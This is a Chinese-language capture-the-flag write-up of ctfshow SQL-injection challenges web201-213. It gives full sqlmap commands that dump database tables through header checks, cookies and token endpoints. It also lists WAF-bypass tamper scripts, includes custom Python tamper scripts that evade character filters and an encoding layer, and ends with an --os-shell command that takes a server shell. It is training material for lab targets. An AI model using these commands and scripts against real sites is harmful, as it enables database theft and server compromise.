目录

  1. 1. 前言
  2. 2. Web201
  3. 3. Web202
  4. 4. Web203
  5. 5. Web204
  6. 6. Web205
  7. 7. Web206
    1. 7.1. 法2:设置level
  8. 8. Web207(tamper)
  9. 9. Web208
  10. 10. Web209
  11. 11. Web210
  12. 12. Web211
  13. 13. Web212
  14. 14. Web213(–os-shell)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow sqlmap实战论

2023/7/28 Web Sql ctfshow
  |     |   总文章阅读量:

前言

ctfshow web201-213

Web201

使用–user-agent 指定agent

使用–referer 绕过referer检查

进入题目,先随便输个id查询看看返回结果和对应的提交地址

image-20230728230940567

然后在这个地址发包,顺便随便改个ua头

image-20230728231525065

把返回的内容复制到控制台,内容是”不使用sqlmap是没有灵魂的”

那我们就把ua头改为sqlmap

image-20230728231655123

返回成功

然后修改几次referer头测试,有返回”打击盗版人人有责,你都不是从ctf.show来的”,那么说明referer头要为ctf.show

然后跑sqlmap(这里是在kali linux上跑的,本人windows环境上跑太慢了

sqlmap -u "http://fcb0b7aa-7ae0-4e83-a44c-92ca7cf7ebc0.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show
  • -u :直连模式, –url= 直接连接目标地址,这里的url要带上注入点
  • --user-agent:设置HTTP User-Agent 的值
  • --referer:设置 HTTP Referer 的值

image-20230728234055968

出现这个就说明能跑出payload了

那我们再在末尾加上几个参数获取我们需要的信息

--dbs:枚举数据库的所有数据库

image-20230728234244386

-D DB :指定要枚举的数据库名称

--tables:枚举数据库的所有表

image-20230728234455263

-T TBL:指定要枚举的表名称

--columns:枚举数据库的所有列

image-20230728234648094

--dump:转储数据库表的记录

sqlmap -u "http://fcb0b7aa-7ae0-4e83-a44c-92ca7cf7ebc0.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

image-20230728234811151

获得flag


Web202

使用–data 调整sqlmap的请求方式

--data:通过POST发送数据字符串,例如: –data=”id=1”

我们先在本地用POST请求尝试一下,记得带上ua头

image-20230729094152427

返回成功

sqlmap开梭

sqlmap -u "http://365f28a3-7450-4ba5-ad0b-a377fd41ea1a.challenge.ctf.show/api/" --data="id=" --user-agent=sqlmap --referer=ctf.show 

image-20230729094450842

成功

接下来就是和上题一样的步骤获取flag

image-20230729094708726


Web203

使用–method 调整sqlmap的请求方式

--method:强制使用指定的方式进行连接,例如 PUT

稍微测试一下发现这题要求使用PUT请求方式

sqlmap开梭,url要指明index.php,还要加上--headers=“Content-Type: text/plain” 便于 put 接收表单参数

sqlmap -u "http://ec7883db-7df1-4e02-87f6-2f6aa199cc7a.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type: text/plain" --data="id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

Web204

使用–cookie 提交cookie数据

--cookie:设置HTTP Cookie 头的值

上一题的升级版

cookie取set-cookie的值

sqlmap -u "http://81dbb7e1-ef42-4423-a3b3-8a9843de5753.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type: text/plain" --data="id=" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=d6b38945636ae3b2814903cf50a3eb97;PHPSESSID=mgu0map35ai84u25s5ei13hb7b" -D ctfshow_web -T ctfshow_user --dump

Web205

api调用需要鉴权,访问特定页面

--safe-url:设置在测试目标地址前访问的安全链接

--safe-freq:设置两次注入测试前访问安全链接的次数

进入题目,输入id并查询,抓一下这个包看看

image-20230729164902806

发现除了查询接口外还调用了一个getToken.php来鉴权

升级一下上题的shell,顺便发现flag换了个表

sqlmap -u "http://ebaf5ce4-0624-4921-91fd-2adedf09cb59.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type: text/plain" --data="id=" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=d6b38945636ae3b2814903cf50a3eb97;PHPSESSID=mgu0map35ai84u25s5ei13hb7b" --safe-url="http://ebaf5ce4-0624-4921-91fd-2adedf09cb59.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --dump

Web206

非常规sql语句需要自行闭合

题目sql查询语句修改为

$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

所以我们得指定payload的前后缀使其语句闭合

--prefix:攻击载荷的前缀

--suffix:攻击载荷的后缀

修改下上题的shell,添加一个payload前缀')'使前面的语句闭合

然后查表找到flag所在的表dump出来即可

sqlmap -u "http://33bf3978-d990-4ec8-b089-e0ec439834aa.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type: text/plain" --data="id=" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=d6b38945636ae3b2814903cf50a3eb97;PHPSESSID=mgu0map35ai84u25s5ei13hb7b" --safe-url="http://33bf3978-d990-4ec8-b089-e0ec439834aa.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" -D ctfshow_web -T ctfshow_flaxc --dump

法2:设置level

--level=LEVEL 指定注入测试级别 例如:1-5, 默认 1

level调高一点就能注出来了


Web207(tamper)

–tamper 的初体验:过滤空格

--tamper:指定攻击载荷的篡改脚本

题目过滤了空格,可以用tamper来修改注入的数据

常见的tamper脚本

space2comment.py 用/**/代替空格

apostrophemask.py 用utf8代替引号

equaltolike.py like代替等号

space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。

space2hash.py 空格替换为#号,随机字符串以及换行符

apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py 在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’

space2mssqlblank.py (mssql)空格替换为其它空符号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

modsecurityversioned.py 过滤空格,包含完整的查询版本注释

space2mysqlblank.py 空格替换其它空白符号(mysql)

between.py用between 替换大于号(>)

space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py 围绕SQL关键字添加多个空格

space2plus.py 用+替换空格

bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like

nonrecursivereplacement.py 双重查询语句,取代SQL关键字

space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py 双url编码(不处理以编码的)

unionalltounion.py 替换UNION ALLSELECT UNION SELECT

charencode.py url编码

randomcase.py 随机大小写

unmagicquotes.py 宽字符绕过 GPCaddslashes

randomcomments.py 用/**/分割sql关键字

charunicodeencode.py 字符串 unicode 编码

securesphere.py 追加特制的字符串

versionedmorekeywords.py 注释绕过

space2comment.py 替换空格字符串(‘‘) 使用注释‘/**/’

halfversionedmorekeywords.py 关键字前加注释

升级一下shell

sqlmap -u "http://95ebcad6-857d-43ad-8812-09f6c9b48cc5.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type: text/plain" --data="id=" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=d6b38945636ae3b2814903cf50a3eb97;PHPSESSID=mgu0map35ai84u25s5ei13hb7b" --safe-url="http://95ebcad6-857d-43ad-8812-09f6c9b48cc5.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" --tamper=space2comment -D ctfshow_web -T ctfshow_flaxcac --dump

Web208

关键词匹配过滤

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  }

过滤了select和空格

那可以用大小写绕过randomcase.py,或者双写绕过doubleSelect.py

升级一下shell

sqlmap -u "http://77eec3bc-6524-4f36-a6a0-a243ff18a3d0.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type: text/plain" --data="id=" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=d6b38945636ae3b2814903cf50a3eb97;PHPSESSID=mgu0map35ai84u25s5ei13hb7b" --safe-url="http://77eec3bc-6524-4f36-a6a0-a243ff18a3d0.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" --tamper="space2comment,randomcase" -D ctfshow_web -T ctfshow_flaxcac --dump

中途在自己的wsl Ubuntu上安了个sqlmap,以后都在上面做了(

Web209

自定义tamper

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

查询语句不用加后缀了

//对传入的参数进行了过滤
  function waf($str){
   //TODO 未完工
   return preg_match('/ |\*|\=/', $str);
  }

过滤了空格、*=

那么我们就要自己编写tamper脚本来绕过

首先是空格,因为*被过滤了,所以用%0a来替代

然后是=,可以用like来替代

接着是*,这个是在后面爆列名的时候打印payload发现出现了COUNT(*)被过滤了,可以改成COUNT(id)

tamper文件夹下新建一个web209.py,把space2comment脚本复制过来修改一下

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):


    retVal = payload
    retVal = retVal.replace("COUNT(*)","COUNT(id)")
    retVal = retVal.replace("=", chr(0x0a)+"like"+chr(0x0a))
    retVal = retVal.replace(" ", chr(0x0a))

    return retVal

然后修改一下shell

python3 sqlmap.py -u "http://c6a6d79c-8d39-449e-9a84-2a35ed429aba.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type: text/plain" --data="id=" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=d6b38945636ae3b2814903cf50a3eb97;PHPSESSID=mgu0map35ai84u25s5ei13hb7b" --safe-url="http://c6a6d79c-8d39-449e-9a84-2a35ed429aba.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="web209" -D ctfshow_web -T ctfshow_flav --dump

Web210

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }

对查询字符进行了一次加密操作

那么我们只需要逆向解密回去就行

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from base64 import *

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload
    retVal = b64encode("".join(reversed(b64encode("".join(reversed(retVal)).encode('utf-8')).decode('utf-8'))).encode('utf-8')).decode('utf-8')

    return retVal

修改shell

python3 sqlmap.py -u "http://ddd84623-db3b-462a-ae30-a8389b1fa35b.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type: text/plain" --data="id=" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=d6b38945636ae3b2814903cf50a3eb97;PHPSESSID=mgu0map35ai84u25s5ei13hb7b" --safe-url="http://ddd84623-db3b-462a-ae30-a8389b1fa35b.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="web210" -D ctfshow_web -T ctfshow_flavi --dump

Web211

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ /', $str);
}

加了个过滤空格

那我们把空格替换一下就行

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from base64 import *

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload
    retVal = retVal.replace(" ", chr(0x0a))
    retVal = b64encode("".join(reversed(b64encode("".join(reversed(retVal)).encode('utf-8')).decode('utf-8'))).encode('utf-8')).decode('utf-8')
    
    return retVal

修改shell

python3 sqlmap.py -u "http://2c587fcf-b088-40d0-8aae-f01bc0593907.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type: text/plain" --data="id=" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=d6b38945636ae3b2814903cf50a3eb97;PHPSESSID=mgu0map35ai84u25s5ei13hb7b" --safe-url="http://2c587fcf-b088-40d0-8aae-f01bc0593907.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="web211" -D ctfshow_web -T ctfshow_flavia --dump

Web212

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ |\*/', $str);
}

多过滤了个*,那就拿web209里的替换一下就行

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from base64 import *

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload
    retVal = retVal.replace("COUNT(*)","COUNT(id)")
    retVal = retVal.replace(" ", chr(0x0a))
    retVal = b64encode("".join(reversed(b64encode("".join(reversed(retVal)).encode('utf-8')).decode('utf-8'))).encode('utf-8')).decode('utf-8')
    
    return retVal

修改shell

python3 sqlmap.py -u "http://76214476-d00c-4b4a-bbd2-94ece7ba688d.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type: text/plain" --data="id=" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=d6b38945636ae3b2814903cf50a3eb97;PHPSESSID=mgu0map35ai84u25s5ei13hb7b" --safe-url="http://76214476-d00c-4b4a-bbd2-94ece7ba688d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="web212" -D ctfshow_web -T ctfshow_flavis --dump

Web213(–os-shell)

–os-shell 一键getshell

过滤条件没变,继续用上一题的脚本即可

修改shell使sqlmap能通过注入getshell

python3 sqlmap.py -u "http://d2c6f122-7a5a-416c-92a1-e39270495706.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type: text/plain" --data="id=" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=d6b38945636ae3b2814903cf50a3eb97;PHPSESSID=mgu0map35ai84u25s5ei13hb7b" --safe-url="http://d2c6f122-7a5a-416c-92a1-e39270495706.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="web213" -D ctfshow_web --os-shell

注:因为chr(0x0a)会使-- -换行导致执行失败,所以我们要把-- -转为#

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from base64 import *

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload
    retVal = retVal.replace("-- -", "#")
    retVal = retVal.replace("COUNT(*)","COUNT(id)")
    retVal = retVal.replace(" ", chr(0x0a))
    retVal = b64encode("".join(reversed(b64encode("".join(reversed(retVal)).encode('utf-8')).decode('utf-8'))).encode('utf-8')).decode('utf-8')
    
    return retVal

image-20230811223324103